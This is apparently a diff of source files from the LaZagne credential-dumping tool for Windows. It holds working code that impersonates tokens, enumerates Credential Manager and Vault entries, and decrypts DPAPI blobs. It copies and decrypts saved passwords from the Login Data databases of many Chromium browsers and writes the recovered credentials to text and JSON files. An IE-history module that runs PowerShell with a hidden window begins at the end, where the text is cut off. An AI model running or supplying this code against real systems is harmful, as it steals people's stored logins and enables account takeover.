class TOKEN_PRIVILEGES(Structure):
_fields_ = [
("PrivilegeCount", DWORD),
("Privileges", LUID_AND_ATTRIBUTES),
]
PTOKEN_PRIVILEGES = POINTER(TOKEN_PRIVILEGES)
class SECURITY_ATTRIBUTES(Structure):
_fields_ = [
("nLength", DWORD),
("lpSecurityDescriptor", LPVOID),
("bInheritHandle", BOOL),
]
PSECURITY_ATTRIBUTES = POINTER(SECURITY_ATTRIBUTES)
class SID_NAME_USE(DWORD):
_sid_types = dict(enumerate('''
User Group Domain Alias WellKnownGroup DeletedAccount
Invalid Unknown Computer Label'''.split(), 1))
def __init__(self, value=None):
if value is not None:
if value not in self.sid_types:
raise ValueError('invalid SID type')
DWORD.__init__(value)
def __str__(self):
if self.value not in self._sid_types:
raise ValueError('invalid SID type')
return self._sid_types[self.value]
def __repr__(self):
return 'SID_NAME_USE(%s)' % self.value
PSID_NAME_USE = POINTER(SID_NAME_USE)
# ############################# Load dlls ##############################
advapi32 = WinDLL('advapi32', use_last_error=True)
crypt32 = WinDLL('crypt32', use_last_error=True)
kernel32 = WinDLL('kernel32', use_last_error=True)
psapi = WinDLL('psapi', use_last_error=True)
ntdll = WinDLL('ntdll', use_last_error=True)
# ############################# Functions ##############################
RevertToSelf = advapi32.RevertToSelf
RevertToSelf.restype = BOOL
RevertToSelf.argtypes = []
ImpersonateLoggedOnUser = advapi32.ImpersonateLoggedOnUser
ImpersonateLoggedOnUser.restype = BOOL
ImpersonateLoggedOnUser.argtypes = [HANDLE]
DuplicateTokenEx = advapi32.DuplicateTokenEx
DuplicateTokenEx.restype = BOOL
DuplicateTokenEx.argtypes = [HANDLE, DWORD, PSECURITY_ATTRIBUTES, DWORD, DWORD, POINTER(HANDLE)]
AdjustTokenPrivileges = advapi32.AdjustTokenPrivileges
AdjustTokenPrivileges.restype = BOOL
AdjustTokenPrivileges.argtypes = [HANDLE, BOOL, PTOKEN_PRIVILEGES, DWORD, PTOKEN_PRIVILEGES, POINTER(DWORD)]
LookupPrivilegeValueA = advapi32.LookupPrivilegeValueA
LookupPrivilegeValueA.restype = BOOL
LookupPrivilegeValueA.argtypes = [LPCTSTR, LPCTSTR, PLUID]
ConvertSidToStringSid = advapi32.ConvertSidToStringSidW
ConvertSidToStringSid.restype = BOOL
ConvertSidToStringSid.argtypes = [DWORD, POINTER(LPWSTR)]
LookupAccountSid = advapi32.LookupAccountSidW
LookupAccountSid.restype = BOOL
LookupAccountSid.argtypes = [LPCWSTR, PSID, LPCWSTR, LPDWORD, LPCWSTR, LPDWORD, PSID_NAME_USE]
LocalAlloc = kernel32.LocalAlloc
LocalAlloc.restype = HANDLE
LocalAlloc.argtypes = [PSID, DWORD]
GetTokenInformation = advapi32.GetTokenInformation
GetTokenInformation.restype = BOOL
GetTokenInformation.argtypes = [HANDLE, DWORD, LPVOID, DWORD, POINTER(DWORD)]
OpenProcess = kernel32.OpenProcess
OpenProcess.restype = HANDLE
OpenProcess.argtypes = [DWORD, BOOL, DWORD]
OpenProcessToken = advapi32.OpenProcessToken
OpenProcessToken.restype = BOOL
OpenProcessToken.argtypes = [HANDLE, DWORD, POINTER(HANDLE)]
CloseHandle = kernel32.CloseHandle
CloseHandle.restype = BOOL
CloseHandle.argtypes = [HANDLE]
CredEnumerate = advapi32.CredEnumerateA
CredEnumerate.restype = BOOL
CredEnumerate.argtypes = [LPCTSTR, DWORD, POINTER(DWORD), POINTER(POINTER(PCREDENTIAL))]
CredFree = advapi32.CredFree
CredFree.restype = PVOID
CredFree.argtypes = [PVOID]
LocalFree = kernel32.LocalFree
LocalFree.restype = HANDLE
LocalFree.argtypes = [HANDLE]
CryptUnprotectData = crypt32.CryptUnprotectData
CryptUnprotectData.restype = BOOL
CryptUnprotectData.argtypes = [POINTER(DATA_BLOB), POINTER(LPWSTR), POINTER(DATA_BLOB), PVOID,
PCRYPTPROTECT_PROMPTSTRUCT, DWORD, POINTER(DATA_BLOB)]
# these functions do not exist on XP workstations
try:
prototype = WINFUNCTYPE(ULONG, DWORD, LPDWORD, POINTER(LPGUID))
vaultEnumerateVaults = prototype(("VaultEnumerateVaults", windll.vaultcli))
prototype = WINFUNCTYPE(ULONG, LPGUID, DWORD, HANDLE)
vaultOpenVault = prototype(("VaultOpenVault", windll.vaultcli))
prototype = WINFUNCTYPE(ULONG, HANDLE, DWORD, LPDWORD, POINTER(c_char_p))
vaultEnumerateItems = prototype(("VaultEnumerateItems", windll.vaultcli))
prototype = WINFUNCTYPE(ULONG, HANDLE, LPGUID, PVAULT_ITEM_DATA, PVAULT_ITEM_DATA, PVAULT_ITEM_DATA, HWND, DWORD,
POINTER(PVAULT_ITEM_WIN8))
vaultGetItem8 = prototype(("VaultGetItem", windll.vaultcli))
prototype = WINFUNCTYPE(ULONG, HANDLE, LPGUID, PVAULT_ITEM_DATA, PVAULT_ITEM_DATA, HWND, DWORD, POINTER(PVAULT_ITEM_WIN7))
vaultGetItem7 = prototype(("VaultGetItem", windll.vaultcli))
prototype = WINFUNCTYPE(ULONG, LPVOID)
vaultFree = prototype(("VaultFree", windll.vaultcli))
prototype = WINFUNCTYPE(ULONG, PHANDLE)
vaultCloseVault = prototype(("VaultCloseVault", windll.vaultcli))
def get_vault_objects_for_this_version_of_windows():
"""
@return: Tuple[
Type of vault item,
Pointer to type of vault item,
VaultGetItem function as Callable[[vault_handle, vault_item_prt, password_vault_item_ptr], int]
]
"""
os_version_float = float(get_os_version())
if os_version_float == 6.1:
# Windows 7
return (
VAULT_ITEM_WIN7,
PVAULT_ITEM_WIN7,
lambda hVault, pVaultItem, pPasswordVaultItem:
vaultGetItem7(hVault, byref(pVaultItem.id), pVaultItem.pResource, pVaultItem.pUsername,
None, 0, byref(pPasswordVaultItem))
)
elif os_version_float > 6.1:
# Later than Windows7
return (
VAULT_ITEM_WIN8,
PVAULT_ITEM_WIN8,
lambda hVault, pVaultItem, pPasswordVaultItem:
vaultGetItem8(hVault, byref(pVaultItem.id), pVaultItem.pResource, pVaultItem.pUsername,
pVaultItem.pPackageSid, # additional parameter compared to Windows 7
None, 0, byref(pPasswordVaultItem))
)
raise Exception("Vault is not supported for this version of OS")
except Exception:
pass
GetModuleFileNameEx = psapi.GetModuleFileNameExW
GetModuleFileNameEx.restype = DWORD
GetModuleFileNameEx.argtypes = [HANDLE, HMODULE, LPWSTR, DWORD]
# ############################# Custom functions ##############################
def EnumProcesses():
_EnumProcesses = psapi.EnumProcesses
_EnumProcesses.argtypes = [LPVOID, DWORD, LPDWORD]
_EnumProcesses.restype = bool
size = 0x1000
cbBytesReturned = DWORD()
unit = sizeof(DWORD)
dwOwnPid = os.getpid()
while 1:
ProcessIds = (DWORD * (size // unit))()
cbBytesReturned.value = size
_EnumProcesses(byref(ProcessIds), cbBytesReturned, byref(cbBytesReturned))
returned = cbBytesReturned.value
if returned < size:
break
size = size + 0x1000
ProcessIdList = list()
for ProcessId in ProcessIds:
if ProcessId is None:
break
if ProcessId == dwOwnPid:
continue
ProcessIdList.append(ProcessId)
return ProcessIdList
def LookupAccountSidW(lpSystemName, lpSid):
# From https://github.com/MarioVilas/winappdbg/blob/master/winappdbg/win32/advapi32.py
_LookupAccountSidW = advapi32.LookupAccountSidW
_LookupAccountSidW.argtypes = [LPSTR, PSID, LPWSTR, LPDWORD, LPWSTR, LPDWORD, LPDWORD]
_LookupAccountSidW.restype = BOOL
ERROR_INSUFFICIENT_BUFFER = 122
cchName = DWORD(0)
cchReferencedDomainName = DWORD(0)
peUse = DWORD(0)
success = _LookupAccountSidW(lpSystemName, lpSid, None, byref(cchName), None, byref(cchReferencedDomainName),
byref(peUse))
error = GetLastError()
if not success or error == ERROR_INSUFFICIENT_BUFFER:
lpName = create_unicode_buffer(u'', cchName.value + 1)
lpReferencedDomainName = create_unicode_buffer(u'', cchReferencedDomainName.value + 1)
success = _LookupAccountSidW(lpSystemName, lpSid, lpName, byref(cchName), lpReferencedDomainName,
byref(cchReferencedDomainName), byref(peUse))
if success:
return lpName.value, lpReferencedDomainName.value, peUse.value
return None, None, None
def QueryFullProcessImageNameW(hProcess, dwFlags=0):
_QueryFullProcessImageNameW = kernel32.QueryFullProcessImageNameW
_QueryFullProcessImageNameW.argtypes = [HANDLE, DWORD, LPWSTR, POINTER(DWORD)]
_QueryFullProcessImageNameW.restype = bool
ERROR_INSUFFICIENT_BUFFER = 122
dwSize = MAX_PATH
while 1:
lpdwSize = DWORD(dwSize)
lpExeName = create_unicode_buffer('', lpdwSize.value + 1)
success = _QueryFullProcessImageNameW(hProcess, dwFlags, lpExeName, byref(lpdwSize))
if success and 0 < lpdwSize.value < dwSize:
break
error = GetLastError()
if error != ERROR_INSUFFICIENT_BUFFER:
return False
dwSize = dwSize + 256
if dwSize > 0x1000:
# this prevents an infinite loop in Windows 2008 when the path has spaces,
# see http://msdn.microsoft.com/en-us/library/ms684919(VS.85).aspx#4
return False
return lpExeName.value
def RtlAdjustPrivilege(privilege_id):
"""
privilege_id: int
"""
_RtlAdjustPrivilege = ntdll.RtlAdjustPrivilege
_RtlAdjustPrivilege.argtypes = [ULONG, BOOL, BOOL, POINTER(BOOL)]
_RtlAdjustPrivilege.restype = LONG
Enable = True
CurrentThread = False # enable for whole process
Enabled = BOOL()
status = _RtlAdjustPrivilege(privilege_id, Enable, CurrentThread, byref(Enabled))
if status != 0:
return False
return True
def getData(blobOut):
cbData = blobOut.cbData
pbData = blobOut.pbData
buffer = create_string_buffer(cbData)
memmove(buffer, pbData, sizeof(buffer))
LocalFree(pbData);
return buffer.raw
def get_full_path_from_pid(pid):
if pid:
filename = create_unicode_buffer("", 256)
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, int(pid))
if not hProcess:
return False
size = GetModuleFileNameEx(hProcess, None, filename, 256)
CloseHandle(hProcess)
if size:
return filename.value
else:
return False
python_version = 2
if sys.version_info[0]:
python_version = sys.version_info[0]
def Win32CryptUnprotectData(cipherText, entropy=False, is_current_user=True, user_dpapi=False):
if python_version == 2:
cipherText = str(cipherText)
decrypted = None
if is_current_user:
bufferIn = c_buffer(cipherText, len(cipherText))
blobIn = DATA_BLOB(len(cipherText), bufferIn)
blobOut = DATA_BLOB()
if entropy:
bufferEntropy = c_buffer(entropy, len(entropy))
blobEntropy = DATA_BLOB(len(entropy), bufferEntropy)
if CryptUnprotectData(byref(blobIn), None, byref(blobEntropy), None, None, 0, byref(blobOut)):
decrypted = getData(blobOut)
else:
if CryptUnprotectData(byref(blobIn), None, None, None, None, 0, byref(blobOut)):
decrypted = getData(blobOut)
if not decrypted:
can_decrypt = True
if not (user_dpapi and user_dpapi.unlocked):
from lazagne.config.dpapi_structure import are_masterkeys_retrieved
can_decrypt = are_masterkeys_retrieved()
if can_decrypt:
try:
decrypted = user_dpapi.decrypt_encrypted_blob(cipherText)
except:
# The encrypted blob cannot be parsed - weird (could happen with chrome v80)
return None
if decrypted is False:
decrypted = None
else:
# raise ValueError('MasterKeys not found')
pass
if not decrypted:
if not user_dpapi:
# raise ValueError('DPApi unavailable')
pass
elif not user_dpapi.unlocked:
# raise ValueError('DPApi locked')
pass
return decrypted
def get_os_version():
"""
return major anr minor version
https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx
"""
os_version = OSVERSIONINFOEXW()
os_version.dwOSVersionInfoSize = sizeof(os_version)
retcode = windll.Ntdll.RtlGetVersion(byref(os_version))
if retcode != 0:
return False
return '%s.%s' % (str(os_version.dwMajorVersion.real), str(os_version.dwMinorVersion.real))
def isx64machine():
archi = os.environ.get("PROCESSOR_ARCHITEW6432", '')
if '64' in archi:
return True
archi = os.environ.get("PROCESSOR_ARCHITECTURE", '')
if '64' in archi:
return True
return False
def OpenKey(key, path, index=0, access=KEY_READ):
if isx64:
return winreg.OpenKey(key, path, index, access | winreg.KEY_WOW64_64KEY)
else:
return winreg.OpenKey(key, path, index, access)
isx64 = isx64machine()
def string_to_unicode(string):
if python_version == 2:
return unicode(string)
else:
return string # String on python 3 are already unicode
def chr_or_byte(integer):
if python_version == 2:
return chr(integer)
else:
return bytes([integer]) # Python 3
def int_or_bytes(integer):
if python_version == 2:
return integer
else:
return bytes([integer]) # Python 3
def char_to_int(string):
if python_version == 2 or isinstance(string, str):
return ord(string)
else:
return string # Python 3
def convert_to_byte(string):
if python_version == 2:
return string
else:
return string.encode() # Python 3

View File

@ -0,0 +1,352 @@
# -*- coding: utf-8 -*-
import ctypes
import getpass
import json
import logging
import os
import socket
import sys
import traceback
from time import gmtime, strftime
from platform import uname
from lazagne.config.users import get_username_winapi
from lazagne.config.winstructure import string_to_unicode, char_to_int, chr_or_byte, python_version
from .constant import constant
# --------------------------- Standard output functions ---------------------------
STD_OUTPUT_HANDLE = -11
std_out_handle = ctypes.windll.kernel32.GetStdHandle(STD_OUTPUT_HANDLE)
tmp_user = None
class StandardOutput(object):
def __init__(self):
self.banner = '''
|====================================================================|
| |
| The LaZagne Project |
| |
| ! BANG BANG ! |
| |
|====================================================================|
'''
self.FILTER = b''.join([((len(repr(chr_or_byte(x))) == 3 and python_version == 2) or
(len(repr(chr_or_byte(x))) == 4 and python_version == 3))
and chr_or_byte(x) or b'.' for x in range(256)])
def set_color(self, color='white', intensity=False):
c = {'white': 0x07, 'red': 0x04, 'green': 0x02, 'cyan': 0x03}.get(color, None)
if intensity:
c |= 0x08
ctypes.windll.kernel32.SetConsoleTextAttribute(std_out_handle, c)
# print banner
def first_title(self):
self.do_print(message=self.banner, color='white', intensity=True)
# Python 3.7.3 on Darwin x86_64: i386
python_banner = 'Python {}.{}.{} on'.format(*sys.version_info) + " {0} {4}: {5}\n".format(*uname())
self.print_logging(function=logging.debug, message=python_banner, prefix='[!]', color='white', intensity=True)
# info option for the logging
def print_title(self, title):
t = u'------------------- ' + title + ' passwords -----------------\n'
self.do_print(message=t, color='white', intensity=True)
# debug option for the logging
def title_info(self, title):
t = u'------------------- ' + title + ' passwords -----------------\n'
self.print_logging(function=logging.info, prefix='', message=t, color='white', intensity=True)
def print_user(self, user, force_print=False):
if logging.getLogger().isEnabledFor(logging.INFO) or force_print:
self.do_print(u'\n########## User: {user} ##########\n'.format(user=user))
def print_footer(self, elapsed_time=None):
footer = '\n[+] %s passwords have been found.\n' % str(constant.nb_password_found)
if not logging.getLogger().isEnabledFor(logging.INFO):
footer += 'For more information launch it again with the -v option\n'
if elapsed_time:
footer += '\nelapsed time = ' + str(elapsed_time)
self.do_print(footer)
def print_hex(self, src, length=8):
N = 0
result = b''
while src:
s, src = src[:length], src[length:]
hexa = b' '.join([b"%02X" % char_to_int(x) for x in s])
s = s.translate(self.FILTER)
result += b"%04X %-*s %s\n" % (N, length * 3, hexa, s)
N += length
return result
def try_unicode(self, obj, encoding='utf-8'):
if python_version == 3:
try:
return obj.decode()
except Exception:
return obj
try:
if isinstance(obj, basestring): # noqa: F821
if not isinstance(obj, unicode): # noqa: F821
obj = unicode(obj, encoding) # noqa: F821
except UnicodeDecodeError:
return repr(obj)
return obj
# centralize print function
def do_print(self, message='', color=False, intensity=False):
# quiet mode => nothing is printed
if constant.quiet_mode:
return
message = self.try_unicode(message)
if color:
self.set_color(color=color, intensity=intensity)
self.print_without_error(message)
self.set_color()
else:
self.print_without_error(message)
def print_without_error(self, message):
try:
print(message.decode())
except Exception:
try:
print(message)
except Exception:
print(repr(message))
def print_logging(self, function, prefix='[!]', message='', color=False, intensity=False):
if constant.quiet_mode:
return
try:
msg = u'{prefix} {msg}'.format(prefix=prefix, msg=message)
except Exception:
msg = '{prefix} {msg}'.format(prefix=prefix, msg=str(message))
if color:
self.set_color(color, intensity)
function(msg)
self.set_color()
else:
function(msg)
def print_output(self, software_name, pwd_found):
if pwd_found:
# if the debug logging level is not apply => print the title
if not logging.getLogger().isEnabledFor(logging.INFO):
# print the username only if password have been found
user = constant.finalResults.get('User', '')
global tmp_user
if user != tmp_user:
tmp_user = user
self.print_user(user, force_print=True)
# if not title1:
self.print_title(software_name)
# Particular passwords representation
to_write = []
if software_name in ('Hashdump', 'Lsa_secrets', 'Mscache'):
pwds = pwd_found[1]
for pwd in pwds:
self.do_print(pwd)
if software_name == 'Lsa_secrets':
hex_value = self.print_hex(pwds[pwd], length=16)
to_write.append([pwd.decode(), hex_value.decode()])
self.do_print(hex_value)
else:
to_write.append(pwd)
self.do_print()
# Other passwords
else:
# Remove duplicated password
pwd_found = [dict(t) for t in set([tuple(d.items()) for d in pwd_found])]
# Loop through all passwords found
for pwd in pwd_found:
# Detect which kinds of password has been found
pwd_lower_keys = {k.lower(): v for k, v in pwd.items()}
for p in ('password', 'key', 'hash'):
pwd_category = [s for s in pwd_lower_keys if p in s]
if pwd_category:
pwd_category = pwd_category[0]
break
write_it = False
passwd = None
try:
passwd_str = pwd_lower_keys[pwd_category]
# Do not print empty passwords
if not passwd_str:
continue
passwd = string_to_unicode(passwd_str)
except Exception:
pass
# No password found
if not passwd:
print_debug("FAILED", u'Password not found !!!')
else:
constant.nb_password_found += 1
write_it = True
print_debug("OK", u'{pwd_category} found !!!'.format(
pwd_category=pwd_category.title()))
# Store all passwords found on a table => for dictionary attack if master password set
if passwd not in constant.password_found:
constant.password_found.append(passwd)
pwd_info = []
for p in pwd:
try:
pwd_line = '%s: %s' % (p, pwd[p].decode()) # Manage bytes output (py 3)
except Exception:
pwd_line = '%s: %s' % (p, pwd[p])
pwd_info.append(pwd_line)
self.do_print(pwd_line)
self.do_print()
if write_it:
to_write.append(pwd_info)
# write credentials into a text file
self.checks_write(to_write, software_name)
else:
print_debug("INFO", "No passwords found\n")
def write_header(self):
time = strftime("%Y-%m-%d %H:%M:%S", gmtime())
try:
hostname = socket.gethostname().decode(sys.getfilesystemencoding())
except AttributeError:
hostname = socket.gethostname()
header = u'{banner}\r\n- Date: {date}\r\n- Username: {username}\r\n- Hostname:{hostname}\r\n\r\n'.format(
banner=self.banner.replace('\n', '\r\n'),
date=str(time),
username=get_username_winapi(),
hostname=hostname
)
with open(os.path.join(constant.folder_name, '{}.txt'.format(constant.file_name_results)), "ab+") as f:
f.write(header.encode())
def write_footer(self):
footer = '\n[+] %s passwords have been found.\r\n\r\n' % str(constant.nb_password_found)
open(os.path.join(constant.folder_name, '%s.txt' % constant.file_name_results), "a+").write(footer)
def checks_write(self, values, category):
if values:
if 'Passwords' not in constant.finalResults:
constant.finalResults['Passwords'] = []
constant.finalResults['Passwords'].append((category, values))
def print_debug(error_level, message):
# Quiet mode => nothing is printed
if constant.quiet_mode:
return
# print when password is found
if error_level == 'OK':
constant.st.do_print(message='[+] {message}'.format(message=message), color='green')
# print when password is not found
elif error_level == 'FAILED':
constant.st.do_print(message='[-] {message}'.format(message=message), color='red', intensity=True)
elif error_level == 'CRITICAL' or error_level == 'ERROR':
constant.st.print_logging(function=logging.error, prefix='[-]', message=message, color='red', intensity=True)
elif error_level == 'WARNING':
constant.st.print_logging(function=logging.warning, prefix='[!]', message=message, color='cyan')
elif error_level == 'DEBUG':
constant.st.print_logging(function=logging.debug, message=message, prefix='[!]')
else:
constant.st.print_logging(function=logging.info, message=message, prefix='[!]')
# --------------------------- End of output functions ---------------------------
def json_to_string(json_string):
string = u''
try:
for json in json_string:
if json:
string += u'################## User: {username} ################## \r\n'.format(username=json['User'])
if 'Passwords' not in json:
string += u'\r\nNo passwords found for this user !\r\n\r\n'
else:
for pwd_info in json['Passwords']:
category, pwds_tab = pwd_info
string += u'\r\n------------------- {category} -----------------\r\n'.format(
category=category)
if category.lower() in ('lsa_secrets', 'hashdump', 'cachedump'):
for pwds in pwds_tab:
if category.lower() == 'lsa_secrets':
for d in pwds:
string += u'%s\r\n' % (constant.st.try_unicode(d))
else:
string += u'%s\r\n' % (constant.st.try_unicode(pwds))
else:
for pwds in pwds_tab:
string += u'\r\nPassword found !!!\r\n'
for pwd in pwds:
try:
name, value = pwd.split(':', 1)
string += u'%s: %s\r\n' % (
name.strip(), constant.st.try_unicode(value.strip()))
except Exception:
print_debug('DEBUG', traceback.format_exc())
string += u'\r\n'
except Exception:
print_debug('ERROR', u'Error parsing the json results: {error}'.format(error=traceback.format_exc()))
return string
def write_in_file(result):
"""
Write output to file (json and txt files)
"""
if result:
if constant.output in ('json', 'all'):
try:
# Human readable Json format
pretty_json = json.dumps(result, sort_keys=True, indent=4, separators=(',', ': '), ensure_ascii=False)
with open(os.path.join(constant.folder_name, constant.file_name_results + '.json'), 'ab+') as f:
f.write(pretty_json.encode())
constant.st.do_print(u'[+] File written: {file}'.format(
file=os.path.join(constant.folder_name, constant.file_name_results + '.json'))
)
except Exception as e:
print_debug('DEBUGG', traceback.format_exc())
if constant.output in ('txt', 'all'):
try:
with open(os.path.join(constant.folder_name, constant.file_name_results + '.txt'), 'ab+') as f:
a = json_to_string(result)
f.write(a.encode())
constant.st.write_footer()
constant.st.do_print(u'[+] File written: {file}'.format(
file=os.path.join(constant.folder_name, constant.file_name_results + '.txt'))
)
except Exception as e:
print_debug('DEBUG', traceback.format_exc())

View File

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

View File

@ -0,0 +1,246 @@
# -*- coding: utf-8 -*-
import base64
import json
import os
import random
import shutil
import sqlite3
import string
import tempfile
import traceback
from Crypto.Cipher import AES
from lazagne.config.constant import constant
from lazagne.config.module_info import ModuleInfo
from lazagne.config.winstructure import Win32CryptUnprotectData
from lazagne.softwares.windows.credman import Credman
class ChromiumBased(ModuleInfo):
def __init__(self, browser_name, paths):
self.paths = paths if isinstance(paths, list) else [paths]
self.database_query = 'SELECT action_url, username_value, password_value FROM logins'
ModuleInfo.__init__(self, browser_name, 'browsers', winapi_used=True)
def _get_database_dirs(self):
"""
Return database directories for all profiles within all paths
"""
databases = set()
for path in [p.format(**constant.profile) for p in self.paths]:
profiles_path = os.path.join(path, u'Local State')
if os.path.exists(profiles_path):
master_key = None
# List all users profile (empty string means current dir, without a profile)
profiles = {'Default', ''}
# Automatic join all other additional profiles
for dirs in os.listdir(path):
dirs_path = os.path.join(path, dirs)
if os.path.isdir(dirs_path) and dirs.startswith('Profile'):
profiles.add(dirs)
with open(profiles_path) as f:
try:
data = json.load(f)
# Add profiles from json to Default profile. set removes duplicates
profiles |= set(data['profile']['info_cache'])
except Exception:
pass
with open(profiles_path) as f:
try:
master_key = base64.b64decode(json.load(f)["os_crypt"]["encrypted_key"])
master_key = master_key[5:] # removing DPAPI
master_key = Win32CryptUnprotectData(master_key, is_current_user=constant.is_current_user,
user_dpapi=constant.user_dpapi)
except Exception:
master_key = None
# Each profile has its own password database
for profile in profiles:
# Some browsers use names other than "Login Data"
# Like YandexBrowser - "Ya Login Data", UC Browser - "UC Login Data.18"
try:
db_files = os.listdir(os.path.join(path, profile))
except Exception:
continue
for db in db_files:
if db.lower() in ['login data', 'ya passman data']:
databases.add((os.path.join(path, profile, db), master_key))
return databases
def _decrypt_v80(self, buff, master_key):
try:
iv = buff[3:15]
payload = buff[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass[:-16].decode() # remove suffix bytes
return decrypted_pass
except:
pass
def _export_credentials(self, db_path, is_yandex=False, master_key=None):
"""
Export credentials from the given database
:param unicode db_path: database path
:return: list of credentials
:rtype: tuple
"""
credentials = []
yandex_enckey = None
if is_yandex:
try:
credman_passwords = Credman().run()
for credman_password in credman_passwords:
if b'Yandex' in credman_password.get('URL', b''):
if credman_password.get('Password'):
yandex_enckey = credman_password.get('Password')
self.info('EncKey found: {encKey}'.format(encKey=repr(yandex_enckey)))
except Exception:
self.debug(traceback.format_exc())
# Passwords could not be decrypted without encKey
self.info('EncKey has not been retrieved')
return []
try:
conn = sqlite3.connect(db_path)
cursor = conn.cursor()
cursor.execute(self.database_query)
except Exception:
self.debug(traceback.format_exc())
return credentials
for url, login, password in cursor.fetchall():
try:
# Yandex passwords use a masterkey stored on windows credential manager
# https://yandex.com/support/browser-passwords-crypto/without-master.html
if is_yandex and yandex_enckey:
try:
try:
p = json.loads(str(password))
except Exception:
p = json.loads(password)
password = base64.b64decode(p['p'])
except Exception:
# New version does not use json format
pass
# Passwords are stored using AES-256-GCM algorithm
# The key used to encrypt is stored on the credential manager
# yandex_enckey:
# - 4 bytes should be removed to be 256 bits
# - these 4 bytes correspond to the nonce ?
# cipher = AES.new(yandex_enckey, AES.MODE_GCM)
# plaintext = cipher.decrypt(password)
# Failed...
else:
# Decrypt the Password
try:
password_bytes = Win32CryptUnprotectData(password, is_current_user=constant.is_current_user,
user_dpapi=constant.user_dpapi)
except AttributeError:
try:
password_bytes = Win32CryptUnprotectData(password, is_current_user=constant.is_current_user,
user_dpapi=constant.user_dpapi)
except:
password_bytes = None
if password_bytes is not None:
password = password_bytes.decode("utf-8")
elif master_key:
password = self._decrypt_v80(password, master_key)
if not url and not login and not password:
continue
credentials.append((url, login, password))
except Exception:
self.debug(traceback.format_exc())
conn.close()
return credentials
def copy_db(self, database_path):
"""
Copying db will bypass lock errors
Using user tempfile will produce an error when impersonating users (Permission denied)
A public directory should be used if this error occured (e.g C:\\Users\\Public)
"""
random_name = ''.join([random.choice(string.ascii_lowercase) for i in range(9)])
root_dir = [
tempfile.gettempdir(),
os.environ.get('PUBLIC', None),
os.environ.get('SystemDrive', None) + '\\',
]
for r in root_dir:
try:
temp = os.path.join(r, random_name)
shutil.copy(database_path, temp)
self.debug(u'Temporary db copied: {db_path}'.format(db_path=temp))
return temp
except Exception:
self.debug(traceback.format_exc())
return False
def clean_file(self, db_path):
try:
os.remove(db_path)
except Exception:
self.debug(traceback.format_exc())
def run(self):
credentials = []
for database_path, master_key in self._get_database_dirs():
is_yandex = False if 'yandex' not in database_path.lower() else True
# Remove Google Chrome false positif
if database_path.endswith('Login Data-journal'):
continue
self.debug('Database found: {db}'.format(db=database_path))
# Copy database before to query it (bypass lock errors)
path = self.copy_db(database_path)
if path:
try:
credentials.extend(self._export_credentials(path, is_yandex, master_key))
except Exception:
self.debug(traceback.format_exc())
self.clean_file(path)
return [{'URL': url, 'Login': login, 'Password': password} for url, login, password in set(credentials)]
# Name, path or a list of paths
chromium_browsers = [
(u'7Star', u'{LOCALAPPDATA}\\7Star\\7Star\\User Data'),
(u'amigo', u'{LOCALAPPDATA}\\Amigo\\User Data'),
(u'brave', u'{LOCALAPPDATA}\\BraveSoftware\\Brave-Browser\\User Data'),
(u'centbrowser', u'{LOCALAPPDATA}\\CentBrowser\\User Data'),
(u'chedot', u'{LOCALAPPDATA}\\Chedot\\User Data'),
(u'chrome canary', u'{LOCALAPPDATA}\\Google\\Chrome SxS\\User Data'),
(u'chromium', u'{LOCALAPPDATA}\\Chromium\\User Data'),
(u'coccoc', u'{LOCALAPPDATA}\\CocCoc\\Browser\\User Data'),
(u'comodo dragon', u'{LOCALAPPDATA}\\Comodo\\Dragon\\User Data'), # Comodo IceDragon is Firefox-based
(u'elements browser', u'{LOCALAPPDATA}\\Elements Browser\\User Data'),
(u'epic privacy browser', u'{LOCALAPPDATA}\\Epic Privacy Browser\\User Data'),
(u'google chrome', u'{LOCALAPPDATA}\\Google\\Chrome\\User Data'),
(u'kometa', u'{LOCALAPPDATA}\\Kometa\\User Data'),
(u'opera', u'{APPDATA}\\Opera Software\\Opera Stable'),
(u'orbitum', u'{LOCALAPPDATA}\\Orbitum\\User Data'),
(u'sputnik', u'{LOCALAPPDATA}\\Sputnik\\Sputnik\\User Data'),
(u'torch', u'{LOCALAPPDATA}\\Torch\\User Data'),
(u'uran', u'{LOCALAPPDATA}\\uCozMedia\\Uran\\User Data'),
(u'vivaldi', u'{LOCALAPPDATA}\\Vivaldi\\User Data'),
(u'yandexBrowser', u'{LOCALAPPDATA}\\Yandex\\YandexBrowser\\User Data')
]
chromium_browsers = [ChromiumBased(browser_name=name, paths=paths) for name, paths in chromium_browsers]

View File

@ -0,0 +1,196 @@
import hashlib
import subprocess
import traceback
import lazagne.config.winstructure as win
from lazagne.config.module_info import ModuleInfo
from lazagne.config.constant import constant
try:
import _subprocess as sub
STARTF_USESHOWWINDOW = sub.STARTF_USESHOWWINDOW # Not work on Python 3
SW_HIDE = sub.SW_HIDE
except ImportError:
STARTF_USESHOWWINDOW = subprocess.STARTF_USESHOWWINDOW
SW_HIDE = subprocess.SW_HIDE
try:
import _winreg as winreg
except ImportError:
import winreg
class IE(ModuleInfo):
def __init__(self):
ModuleInfo.__init__(self, 'ie', 'browsers', registry_used=True, winapi_used=True)
def get_hash_table(self):
# get the url list
urls = self.get_history()
# calculate the hash for all urls found on the history
hash_tables = []
for u in range(len(urls)):
try:
h = (urls[u] + '\0').encode('UTF-16LE')
hash_tables.append([h, hashlib.sha1(h).hexdigest().lower()])
except Exception:
self.debug(traceback.format_exc())
return hash_tables
def get_history(self):
urls = self.history_from_regedit()
try:
urls = urls + self.history_from_powershell()
except Exception:
self.debug(traceback.format_exc())
urls = urls + ['https://www.facebook.com/', 'https://www.gmail.com/', 'https://accounts.google.com/',
'https://accounts.google.com/servicelogin']
return urls
def history_from_powershell(self):
# From https://richardspowershellblog.wordpress.com/2011/06/29/ie-history-to-csv/
cmdline = '''
function get-iehistory {
[CmdletBinding()]
param ()
$shell = New-Object -ComObject Shell.Application
$hist = $shell.NameSpace(34)
$folder = $hist.Self
$hist.Items() |
foreach {
if ($_.IsFolder) {
$siteFolder = $_.GetFolder
$siteFolder.Items() |
foreach {
$site = $_
if ($site.IsFolder) {
$pageFolder = $site.GetFolder
$pageFolder.Items() |
foreach {
$visit = New-Object -TypeName PSObject -Property @{
URL = $($pageFolder.GetDetailsOf($_,0))
}
$visit
}
}
}
}
}
}
get-iehistory
'''
command = ['powershell.exe', '/c', cmdline]
info = subprocess.STARTUPINFO()
info.dwFlags = STARTF_USESHOWWINDOW
